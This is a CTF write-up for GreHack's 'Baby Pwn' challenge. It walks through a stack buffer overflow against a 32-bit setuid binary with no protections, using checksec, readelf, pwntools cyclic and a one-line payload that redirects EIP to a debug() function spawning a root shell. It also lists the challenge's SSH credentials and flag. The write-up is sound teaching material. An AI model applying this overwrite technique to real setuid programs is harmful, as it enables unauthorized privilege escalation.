Introduction
This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚
Challenge
- Name :
Baby Pwn
- Category :
Pwn / Intro
- Difficulty :
Very Easy
- Solves :
21
- Points :
50
- Author :
Nishacid
Guess what? GreHack Corp has developed the first binary to print a magnificent ascii-art of our little ghost! Incredible, isn’t it? Check it out with this SSH connection:
Solve
We’re told that GreHack Corp has developed the first binary capable of printing ascii-art from their little ghost.
So we have an SSH server on IP tcp0.infra.ctf.grehack.fr
on port 10020
with username and password :
- Username :
baby
- Password :
luV8GgeNzLmi8uERa7
You log in and can launch the famous binary :
Note that the binary is a 32-bit file and that the file is an ELF file, so you can execute it. The binary is waiting for user input.
We can run a checksec
to look at the binary’s various protections:
» checksec --file=baby
ELF32: |
Canary: false
CFI: false
SafeStack: false
Fortify: false
Fortified: 0
NX: false
PIE: None
Relro: Full
RPATH: None
RUNPATH: None |
File: baby
We can see that the binary has no special protections and that no protection is activated, which means that memory addresses are fixed. We can confirm this with readelf
, because if we run it several times, we can see that the main
address is always the same.
Analyzing the binary code in baby.c
, we notice the debug()
function, which launches a debug mode and the /bin/ash
process as root, given that the binary’s permissions are -rwsr-xr-x
.
void debug(){
setreuid(geteuid(), geteuid());
printf("Debug mode enabled\n");
system("/bin/ash");
}
To launch debug mode, we’ll need to overwrite EIP
with the address of the debug()
function, as this is never called in the code.
We can use readelf
to retrieve the address of the debug()
function:
» readelf -s baby | grep -i debug
27: 08049205 85 FUNC GLOBAL DEFAULT 11 debug
We can then run the binary in debug mode with GDB to find the offset that will overwrite EIP
. To do this, we’ll use the cyclic
function in the pwntools
library, which generates a single payload of variable size to find our way around the stack.
» python3 -c 'from pwn import *; print(cyclic(200).decode())'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
» gdb ./baby
We see that gdb displays an error saying that it can’t find the address 0x61676161
in the stack, which is normal since it’s a random address.
We can then run cyclic_find
with the previously found address as argument, and see that the offset is 22
.
» python3 -c 'from pwn import *; print(cyclic_find(0x61676161))'
22
So we have our 22
offset and our debug()
function address: 0x08049205
.
We can then write our payload :
» (python3 -c 'import sys;sys.stdout.buffer.write(b"a"*22+b"\x05\x92\x04\x08")' && cat) | ./baby
- Flag :
GH{m4yb3_th1S_Is_y0uR_f1rsT_biN4ry_pWn3d}